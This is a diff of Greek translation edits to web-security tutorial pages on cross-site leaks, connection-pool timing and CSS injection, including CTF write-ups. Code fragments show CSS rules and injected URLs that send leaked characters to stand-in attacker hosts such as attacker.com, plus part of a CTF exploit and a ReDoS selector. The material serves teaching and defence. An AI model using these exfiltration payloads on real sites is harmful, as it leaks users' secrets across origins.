> (Σχόλιο από [**εδώ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
Αν μια τοποθεσία `example.com` περιλαμβάνει έναν πόρο από `*.example.com/resource`, τότε αυτός ο πόρος θα έχει το **ίδιο κλειδί cache** όπως αν ο πόρος ζητούνταν άμεσα **μέσω πλοήγησης κορυφαίου επιπέδου**. Αυτό συμβαίνει επειδή το κλειδί cache αποτελείται από το κορυφαίο _eTLD+1_ και το frame _eTLD+1_.
|
||||
Αν μια τοποθεσία `example.com` περιλαμβάνει έναν πόρο από `*.example.com/resource`, τότε αυτός ο πόρος θα έχει το **ίδιο κλειδί cache** όπως αν ο πόρος ζητούνταν απευθείας **μέσω πλοήγησης κορυφαίου επιπέδου**. Αυτό συμβαίνει επειδή το κλειδί cache αποτελείται από το κορυφαίο _eTLD+1_ και το frame _eTLD+1_.
|
||||
|
||||
Δεδομένου ότι η πρόσβαση στην cache είναι ταχύτερη από τη φόρτωση ενός πόρου, είναι δυνατόν να προσπαθήσετε να αλλάξετε τη θέση μιας σελίδας και να την ακυρώσετε 20ms (για παράδειγμα) αργότερα. Αν η προέλευση άλλαξε μετά την διακοπή, σημαίνει ότι ο πόρος είχε αποθηκευτεί στην cache.\
|
||||
Ή θα μπορούσατε απλώς να **στείλετε κάποιο fetch στη δυνητικά αποθηκευμένη σελίδα και να μετρήσετε τον χρόνο που χρειάζεται**.
|
||||
@ -799,7 +799,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Inclusion Methods**: HTML Elements (script)
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** Είναι δυνατόν να **επικαλύψετε τις ενσωματωμένες συναρτήσεις** και να διαβάσετε τα επιχειρήματά τους, ακόμη και από **cross-origin script** (το οποίο δεν μπορεί να διαβαστεί άμεσα), αυτό μπορεί να **διαρρεύσει πολύτιμες πληροφορίες**.
|
||||
- **Summary:** Είναι δυνατόν να **επικαλύψετε τις ενσωματωμένες συναρτήσεις** και να διαβάσετε τα επιχειρήματά τους, ακόμη και από **διασυνοριακά σενάρια** (τα οποία δεν μπορούν να διαβαστούν άμεσα), αυτό μπορεί να **διαρρεύσει πολύτιμες πληροφορίες**.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -812,7 +812,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
|
||||
Στο δεδομένο σενάριο, ο επιτιθέμενος αναλαμβάνει την πρωτοβουλία να καταχωρήσει έναν **service worker** σε μία από τις τοποθεσίες τους, συγκεκριμένα "attacker.com". Στη συνέχεια, ο επιτιθέμενος ανοίγει ένα νέο παράθυρο στην στοχευμένη ιστοσελίδα από το κύριο έγγραφο και δίνει εντολή στον **service worker** να ξεκινήσει ένα χρονοδιακόπτη. Καθώς το νέο παράθυρο αρχίζει να φορτώνει, ο επιτιθέμενος πλοηγεί την αναφορά που αποκτήθηκε στο προηγούμενο βήμα σε μια σελίδα που διαχειρίζεται ο **service worker**.
|
||||
|
||||
Κατά την άφιξη του αιτήματος που ξεκίνησε στο προηγούμενο βήμα, ο **service worker** απαντά με έναν κωδικό κατάστασης **204 (No Content)**, τερματίζοντας αποτελεσματικά τη διαδικασία πλοήγησης. Σε αυτό το σημείο, ο **service worker** καταγράφει μια μέτρηση από τον χρονοδιακόπτη που ξεκίνησε νωρίτερα στο βήμα δύο. Αυτή η μέτρηση επηρεάζεται από τη διάρκεια του JavaScript που προκαλεί καθυστερήσεις στη διαδικασία πλοήγησης.
|
||||
Κατά την άφιξη του αιτήματος που ξεκίνησε στο προηγούμενο βήμα, ο **service worker** απαντά με έναν **204 (No Content)** κωδικό κατάστασης, τερματίζοντας αποτελεσματικά τη διαδικασία πλοήγησης. Σε αυτό το σημείο, ο **service worker** καταγράφει μια μέτρηση από τον χρονοδιακόπτη που ξεκίνησε νωρίτερα στο βήμα δύο. Αυτή η μέτρηση επηρεάζεται από τη διάρκεια του JavaScript που προκαλεί καθυστερήσεις στη διαδικασία πλοήγησης.
|
||||
|
||||
> [!WARNING]
|
||||
> Σε μια εκτέλεση χρονομέτρησης είναι δυνατόν να **εξαλείψετε** **παράγοντες δικτύου** για να αποκτήσετε **πιο ακριβείς μετρήσεις**. Για παράδειγμα, φορτώνοντας τους πόρους που χρησιμοποιούνται από τη σελίδα πριν την φορτώσετε.
|
||||
@ -836,7 +836,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
|
||||
## With HTML or Re Injection
|
||||
|
||||
Εδώ μπορείτε να βρείτε τεχνικές για την εξαγωγή πληροφοριών από ένα cross-origin HTML **εισάγοντας περιεχόμενο HTML**. Αυτές οι τεχνικές είναι ενδιαφέρουσες σε περιπτώσεις όπου για οποιονδήποτε λόγο μπορείτε να **εισάγετε HTML αλλά δεν μπορείτε να εισάγετε κώδικα JS**.
|
||||
Εδώ μπορείτε να βρείτε τεχνικές για την εξαγωγή πληροφοριών από ένα διασυνοριακό HTML **εισάγοντας περιεχόμενο HTML**. Αυτές οι τεχνικές είναι ενδιαφέρουσες σε περιπτώσεις όπου για οποιονδήποτε λόγο μπορείτε να **εισάγετε HTML αλλά δεν μπορείτε να εισάγετε κώδικα JS**.
|
||||
|
||||
### Dangling Markup
|
||||
|
||||
@ -847,20 +847,20 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
### Image Lazy Loading
|
||||
|
||||
Αν χρειάζεστε να **εξάγετε περιεχόμενο** και μπορείτε να **προσθέσετε HTML πριν από το μυστικό**, θα πρέπει να ελέγξετε τις **κοινές τεχνικές dangling markup**.\
|
||||
Ωστόσο, αν για οποιονδήποτε λόγο **ΠΡΕΠΕΙ** να το κάνετε **χαρακτήρα προς χαρακτήρα** (ίσως η επικοινωνία είναι μέσω μιας επιτυχίας cache), μπορείτε να χρησιμοποιήσετε αυτό το κόλπο.
|
||||
Ωστόσο, αν για οποιονδήποτε λόγο **ΠΡΕΠΕΙ** να το κάνετε **χαρακτήρα προς χαρακτήρα** (ίσως η επικοινωνία είναι μέσω μιας επιτυχίας cache) μπορείτε να χρησιμοποιήσετε αυτό το κόλπο.
|
||||
|
||||
**Εικόνες** στο HTML έχουν μια ιδιότητα "**loading**" της οποίας η τιμή μπορεί να είναι "**lazy**". Σε αυτή την περίπτωση, η εικόνα θα φορτωθεί όταν την δει κάποιος και όχι ενώ η σελίδα φορτώνει:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Ωστόσο, αυτό που μπορείτε να κάνετε είναι να **προσθέσετε πολλούς άχρηστους χαρακτήρες** (Για παράδειγμα **χιλιάδες "W"**) για να **γεμίσετε τη σελίδα πριν από το μυστικό ή να προσθέσετε κάτι σαν** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Ωστόσο, αυτό που μπορείτε να κάνετε είναι να **προσθέσετε πολλούς άχρηστους χαρακτήρες** (Για παράδειγμα **χιλιάδες "W"**) για να **γεμίσετε τη σελίδα πριν από το μυστικό ή να προσθέσετε κάτι όπως** `<br><canvas height="1850px"></canvas><br>.`\
|
||||
Έτσι, αν για παράδειγμα η **ένεση μας εμφανιστεί πριν από τη σημαία**, η **εικόνα** θα **φορτωθεί**, αλλά αν εμφανιστεί **μετά** τη **σημαία**, η σημαία + οι άχρηστοι χαρακτήρες θα **εμποδίσουν τη φόρτωσή της** (θα χρειαστεί να πειραματιστείτε με το πόσους άχρηστους χαρακτήρες να τοποθετήσετε). Αυτό συνέβη σε [**αυτή τη γραφή**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
||||
|
||||
Μια άλλη επιλογή θα ήταν να χρησιμοποιήσετε το **scroll-to-text-fragment** αν επιτρέπεται:
|
||||
|
||||
#### Scroll-to-text-fragment
|
||||
|
||||
Ωστόσο, κάνετε το **ρομπότ να έχει πρόσβαση στη σελίδα** με κάτι σαν
|
||||
Ωστόσο, κάνετε το **ρομπότ να έχει πρόσβαση στη σελίδα** με κάτι όπως
|
||||
```
|
||||
#:~:text=SECR
|
||||
```
|
||||
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Αν χρησιμοποιηθεί το `jQuery(location.hash)`, είναι δυνατόν να διαπιστωθεί μέσω του χρόνου i**f υπάρχει κάποιο HTML περιεχόμενο**, αυτό συμβαίνει επειδή αν ο επιλεγέας `main[id='site-main']` δεν ταιριάζει, δεν χρειάζεται να ελέγξει τους υπόλοιπους **επιλεγείς**:
|
||||
Αν χρησιμοποιηθεί το `jQuery(location.hash)`, είναι δυνατόν να διαπιστωθεί μέσω του χρόνου **αν υπάρχει κάποιο HTML περιεχόμενο**, αυτό συμβαίνει επειδή αν ο επιλεγέας `main[id='site-main']` δεν ταιριάζει, δεν χρειάζεται να ελέγξει τους υπόλοιπους **επιλεγείς**:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
@ -902,7 +902,7 @@ css-injection/
|
||||
|
||||
## Defenses
|
||||
|
||||
Υπάρχουν προτάσεις μετριασμού στο [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) καθώς και σε κάθε ενότητα του wiki [https://xsleaks.dev/](https://xsleaks.dev/). Ρίξτε μια ματιά εκεί για περισσότερες πληροφορίες σχετικά με το πώς να προστατευθείτε από αυτές τις τεχνικές.
|
||||
Υπάρχουν προτάσεις μετριασμού που συνιστώνται στο [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) καθώς και σε κάθε ενότητα του wiki [https://xsleaks.dev/](https://xsleaks.dev/). Ρίξτε μια ματιά εκεί για περισσότερες πληροφορίες σχετικά με το πώς να προστατευθείτε από αυτές τις τεχνικές.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -12,7 +12,7 @@ connection-pool-by-destination-example.md
|
||||
|
||||
- Ο επιτιθέμενος θα εισάγει μια σημείωση με όσο το δυνατόν περισσότερες **`<img`** ετικέτες **φόρτωσης** **`/js/purify.js`** (περισσότερες από 6 για να μπλοκάρει την προέλευση).
|
||||
- Στη συνέχεια, ο επιτιθέμενος θα **αφαιρέσει** τη **σημείωση** με δείκτη 1.
|
||||
- Στη συνέχεια, ο επιτιθέμενος θα \[κάνει τον **ρομπότ να έχει πρόσβαση στη σελίδα** με τη σημείωση που απομένει] και θα στείλει ένα **αίτημα** προς **`victim.com/js/purify.js`** που θα **χρονίσει**. 
|
||||
- Στη συνέχεια, ο επιτιθέμενος θα \[κάνει τον **ρομπότ να έχει πρόσβαση στη σελίδα** με τη σημείωση που απομένει] και θα στείλει ένα **αίτημα** στη **`victim.com/js/purify.js`** που θα **χρονίσει**. 
|
||||
- Αν ο χρόνος είναι **μεγαλύτερος**, η **εισαγωγή** ήταν στη **σημείωση** που έμεινε, αν ο χρόνος είναι **μικρότερος**, η **σημαία** ήταν εκεί.
|
||||
|
||||
> [!NOTE]
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Sekaictf2022 - safelist
|
||||
|
||||
Στην πρόκληση [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic_) δίνει ένα παράδειγμα για το πώς να χρησιμοποιήσετε μια **παραλλαγή** της τεχνικής **Connection Pool** για να εκτελέσετε ένα **XS-Leak**.
|
||||
Στην πρόκληση [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic_) δίνει ένα παράδειγμα για το πώς να χρησιμοποιήσει μια **παραλλαγή** της τεχνικής **Connection Pool** για να εκτελέσει ένα **XS-Leak**.
|
||||
|
||||
Σε αυτή την πρόκληση, ο στόχος είναι να εξάγετε μια σημαία που θα εμφανιστεί στη διαδικτυακή συνεδρία του bot μέσα σε μια ανάρτηση. Αυτά είναι τα περιουσιακά στοιχεία που έχει ο επιτιθέμενος:
|
||||
Σε αυτή την πρόκληση, ο στόχος είναι να εξάγουμε μια σημαία που θα εμφανιστεί στη διαδικτυακή συνεδρία του bot μέσα σε μια ανάρτηση. Αυτά είναι τα στοιχεία που έχει ο επιτιθέμενος:
|
||||
|
||||
- Το **bot** θα **επισκεφθεί** μια **διεύθυνση URL** που δίνεται από τον επιτιθέμενο
|
||||
- Ο επιτιθέμενος μπορεί να **εισάγει HTML** στη σελίδα (αλλά όχι JS, χρησιμοποιείται το dompurify) εκμεταλλευόμενος ένα **CSRF** κάνοντάς το **bot να δημιουργήσει μια ανάρτηση** με αυτή την HTML.
|
||||
@ -22,13 +22,13 @@
|
||||
- Εκτελέσει 5 τυχαία αιτήματα σε μια τοποθεσία (example.com σε αυτή την περίπτωση) και μετρήσει το χρόνο που χρειάζεται.
|
||||
|
||||
> [!WARNING]
|
||||
> Αν η **διαγραμμένη** ανάρτηση ήταν η **σημαία**, αυτό σημαίνει ότι όλες οι **εικόνες** **που εισήχθησαν** στην HTML θα **παλεύουν** με τα **5 τυχαία αιτήματα** για αυτή την **μη αποκλεισμένη** υποδοχή. Πράγμα που σημαίνει ότι ο μετρημένος χρόνος θα είναι μεγαλύτερος από το άλλο σενάριο.
|
||||
> Αν η **διαγραμμένη** ανάρτηση ήταν η **σημαία**, αυτό σημαίνει ότι όλες οι **εικόνες** **εισαγμένες** στην HTML θα **ανταγωνίζονται** με τα **5 τυχαία αιτήματα** για αυτή την **μη αποκλεισμένη** υποδοχή. Πράγμα που σημαίνει ότι ο μετρημένος χρόνος θα είναι μεγαλύτερος από το άλλο σενάριο.
|
||||
>
|
||||
> Αν η **διαγραμμένη** ανάρτηση ήταν η **HTML**, τα **5 τυχαία αιτήματα** θα είναι **ταχύτερα** επειδή δεν χρειάζεται να παλέψουν για αυτή την υποδοχή με την εισαχθείσα HTML.
|
||||
> Αν η **διαγραμμένη** ανάρτηση ήταν η **HTML**, τα **5 τυχαία αιτήματα** θα είναι **ταχύτερα** επειδή δεν χρειάζεται να ανταγωνίζονται για αυτή την υποδοχή με την εισαγμένη HTML.
|
||||
|
||||
### Εκμετάλλευση 1
|
||||
|
||||
Αυτό είναι ο κωδικός εκμετάλλευσης, που έχει ληφθεί από [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
||||
Αυτό είναι ο κώδικας εκμετάλλευσης, που έχει ληφθεί από [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
|
||||
```html
|
||||
<!-- Form to inject HTML code in the bots page -->
|
||||
<form
|
||||
@ -314,7 +314,7 @@ resolve(isFound)
|
||||
- Κατάληψη όλων των υποδοχών εκτός από 1
|
||||
- Καλιμπράρισμα της απόκρισης
|
||||
- Ξεκίνημα brute forcing με την πρόσβαση στη δυνητική σελίδα με τη σημαία
|
||||
- Η δυνητική σελίδα θα προσπελαστεί και αμέσως μια URL ελεγχόμενη από επιτιθέμενο θα προσπελαστεί επίσης για να ελεγχθεί πόσο χρόνο χρειάζονται και οι δύο αιτήσεις.
|
||||
- Η δυνητική σελίδα θα προσπελαστεί και αμέσως μια URL ελεγχόμενη από τον επιτιθέμενο θα προσπελαστεί επίσης για να ελεγχθεί πόσο χρόνο χρειάζονται και οι δύο αιτήσεις.
|
||||
```html
|
||||
<h1>DiceCTF 2022 web/carrot</h1>
|
||||
|
||||
|
@ -42,7 +42,7 @@ background-image: url(https://attacker.com/exfil/csrF);
|
||||
### Blind Attribute Selector
|
||||
|
||||
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυαστούν οι επιλεγείς **`:has`** και **`:not`** για να εντοπιστεί περιεχόμενο ακόμη και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι υπάρχει μέσα στη σελίδα που φορτώνει το CSS injection.\
|
||||
Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθούν πληροφορίες από αρκετές μπλοκ του ίδιου τύπου όπως σε:
|
||||
Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλεγείς για να εξαχθεί πληροφορία από αρκετά μπλοκ του ίδιου τύπου όπως σε:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -96,7 +96,7 @@ background: url(/m);
|
||||
> Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα.
|
||||
|
||||
> [!WARNING]
|
||||
> Μερικές φορές το script **δεν ανιχνεύει σωστά ότι το πρόθεμα + επίθημα που ανακαλύφθηκε είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στο πρόθεμα) και προς τα πίσω (στο επίθημα) και σε κάποιο σημείο θα κολλήσει.\
|
||||
> Μερικές φορές το script **δεν ανιχνεύει σωστά ότι ο πρόθεμα + επίθημα που ανακαλύφθηκε είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στον πρόθεμα) και προς τα πίσω (στον επίθημα) και σε κάποιο σημείο θα κολλήσει.\
|
||||
> Μην ανησυχείτε, απλώς ελέγξτε την **έξοδο** γιατί **μπορείτε να δείτε τη σημαία εκεί**.
|
||||
|
||||
### Άλλοι επιλεγείς
|
||||
@ -116,7 +116,7 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
|
||||
**Αναφορά:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Η γενική πρόθεση είναι να **χρησιμοποιήσετε μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint** και να διασφαλίσετε ότι **το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο καθορισμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
Η συνολική πρόθεση είναι να **χρησιμοποιήσετε μια προσαρμοσμένη γραμματοσειρά από ένα ελεγχόμενο endpoint** και να διασφαλίσετε ότι **το κείμενο (σε αυτή την περίπτωση, 'A') εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο καθορισμένος πόρος (`favicon.ico`) δεν μπορεί να φορτωθεί**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -147,12 +147,12 @@ font-family: "poc";
|
||||
2. **Στοιχείο Object με Κείμενο Εναλλακτικής**:
|
||||
- Ένα στοιχείο `<object>` με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Αυτό το στοιχείο προσπαθεί να φορτώσει μια πηγή από `http://192.168.0.1/favicon.ico`.
|
||||
- Η `font-family` για αυτό το στοιχείο έχει οριστεί σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
|
||||
- Εάν η πηγή (`favicon.ico`) αποτύχει να φορτωθεί, το εναλλακτικό περιεχόμενο (το γράμμα 'A') μέσα στο tag `<object>` εμφανίζεται.
|
||||
- Το εναλλακτικό περιεχόμενο ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν η εξωτερική πηγή δεν μπορεί να φορτωθεί.
|
||||
- Εάν η πηγή (`favicon.ico`) αποτύχει να φορτωθεί, το περιεχόμενο εναλλακτικής (το γράμμα 'A') μέσα στο tag `<object>` εμφανίζεται.
|
||||
- Το περιεχόμενο εναλλακτικής ('A') θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν η εξωτερική πηγή δεν μπορεί να φορτωθεί.
|
||||
|
||||
### Στυλ Scroll-to-Text Fragment
|
||||
|
||||
Η **`:target`** ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως καθορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι κρίσιμο να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχεύεται ρητά από το fragment.
|
||||
Η **`:target`** ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που στοχεύεται από ένα **URL fragment**, όπως καθορίζεται στην [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι κρίσιμο να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός εάν το κείμενο στοχεύεται ρητά από το fragment.
|
||||
|
||||
Ένα ζήτημα ασφαλείας προκύπτει όταν οι επιτιθέμενοι εκμεταλλεύονται τη δυνατότητα **Scroll-to-text** fragment, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας μια πηγή από τον διακομιστή τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την έγχυση ενός κανόνα CSS όπως αυτός:
|
||||
```css
|
||||
@ -164,13 +164,13 @@ content: url(target.png);
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Εδώ, η επίθεση χειρίζεται την HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Εάν το κείμενο βρεθεί, το υποδεικνυόμενο πόρο φορτώνεται, ακούσια σηματοδοτώντας την παρουσία του στον επιτιθέμενο.
|
||||
Εδώ, η επίθεση χειρίζεται την HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο "Administrator" μέσω του Scroll-to-text fragment (`#:~:text=Administrator`). Εάν βρεθεί το κείμενο, το υποδεικνυόμενο πόρο φορτώνεται, ακούσια σηματοδοτώντας την παρουσία του στον επιτιθέμενο.
|
||||
|
||||
Για την μείωση του κινδύνου, θα πρέπει να σημειωθούν τα εξής:
|
||||
|
||||
1. **Περιορισμένη Αντιστοίχιση STTF**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί για να ταιριάζει μόνο σε λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να διαρρέει τυχαία μυστικά ή tokens.
|
||||
1. **Περιορισμένη Αντιστοίχιση STTF**: Το Scroll-to-text Fragment (STTF) έχει σχεδιαστεί για να ταιριάζει μόνο με λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να διαρρέει τυχαία μυστικά ή tokens.
|
||||
2. **Περιορισμός σε Κορυφαία Επίπεδα Περιβάλλοντα Πλοήγησης**: Το STTF λειτουργεί αποκλειστικά σε κορυφαία επίπεδα περιβάλλοντα πλοήγησης και δεν λειτουργεί εντός iframes, καθιστώντας οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
|
||||
3. **Αναγκαιότητα Ενεργοποίησης από τον Χρήστη**: Το STTF απαιτεί μια χειρονομία ενεργοποίησης από τον χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοηγήσεων που ξεκινούν οι χρήστες. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο αυτοματοποιημένων επιθέσεων χωρίς αλληλεπίδραση του χρήστη. Παρ' όλα αυτά, ο συγγραφέας της ανάρτησης επισημαίνει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ. κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένες επεκτάσεις προγράμματος περιήγησης) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
|
||||
3. **Αναγκαιότητα Ενεργοποίησης από τον Χρήστη**: Το STTF απαιτεί μια χειρονομία ενεργοποίησης από τον χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοηγήσεων που ξεκινούν οι χρήστες. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο αυτοματοποιημένων επιθέσεων χωρίς αλληλεπίδραση του χρήστη. Παρ' όλα αυτά, ο συγγραφέας της ανάρτησης του blog επισημαίνει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ. κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένες επεκτάσεις προγράμματος περιήγησης) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
|
||||
|
||||
Η επίγνωση αυτών των μηχανισμών και των πιθανών ευπαθειών είναι το κλειδί για τη διατήρηση της ασφάλειας του ιστού και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
|
||||
|
||||
@ -206,7 +206,7 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν "?A" και "?B" επειδή ο κόμβος κειμένου της ευαίσθητης πληροφορίας περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι έχουμε μπορέσει να διαβάσουμε "A" και "B".
|
||||
Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, οι Chrome και Firefox ανακτούν "?A" και "?B" επειδή ο κόμβος κειμένου της ευαίσθητης πληροφορίας περιέχει τους χαρακτήρες "A" και "B". Αλλά οι Chrome και Firefox δεν ανακτούν "?C" επειδή δεν περιέχει "C". Αυτό σημαίνει ότι έχουμε μπορέσει να διαβάσουμε "A" και "B".
|
||||
|
||||
### Εξαγωγή κόμβου κειμένου (I): λυγισμοί <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
@ -216,8 +216,8 @@ htm
|
||||
|
||||
1. **Δημιουργία Προσαρμοσμένων Γραμματοσειρών**:
|
||||
|
||||
- Οι γραμματοσειρές SVG κατασκευάζονται με γλυφές που έχουν το χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα γλυφής SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου "XY" δηλώνει μια ακολουθία δύο χαρακτήρων.
|
||||
- Οι γραμματοσειρές SVG κατασκευάζονται με γλυφές που έχουν ένα χαρακτηριστικό `horiz-adv-x`, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
|
||||
- Παράδειγμα γλυφής SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, όπου το "XY" δηλώνει μια ακολουθία δύο χαρακτήρων.
|
||||
- Αυτές οι γραμματοσειρές στη συνέχεια μετατρέπονται σε μορφή woff χρησιμοποιώντας το fontforge.
|
||||
|
||||
2. **Ανίχνευση Αλλαγών Πλάτους**:
|
||||
@ -241,7 +241,7 @@ background: url(http://attacker.com/?leak);
|
||||
|
||||
- **Βήμα 1**: Δημιουργούνται γραμματοσειρές για ζεύγη χαρακτήρων με σημαντικό πλάτος.
|
||||
- **Βήμα 2**: Χρησιμοποιείται ένα κόλπο βασισμένο στη γραμμή κύλισης για να ανιχνευθεί πότε η γλυφή μεγάλου πλάτους (λυγισμός για ένα ζεύγος χαρακτήρων) αποδίδεται, υποδεικνύοντας την παρουσία της ακολουθίας χαρακτήρων.
|
||||
- **Βήμα 3**: Με την ανίχνευση ενός λυγισμού, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευθέν ζεύγος και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
|
||||
- **Βήμα 3**: Μετά την ανίχνευση ενός λυγισμού, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το ανιχνευθέν ζεύγος και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
|
||||
- **Βήμα 4**: Η ανίχνευση του λυγισμού τριών χαρακτήρων πραγματοποιείται.
|
||||
- **Βήμα 5**: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
|
||||
|
||||
@ -706,13 +706,13 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Εξαγωγή κόμβου κειμένου (III): διαρροή του charset με μια προεπιλεγμένη γραμματοσειρά κρύβοντας στοιχεία (χωρίς εξωτερικούς πόρους) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
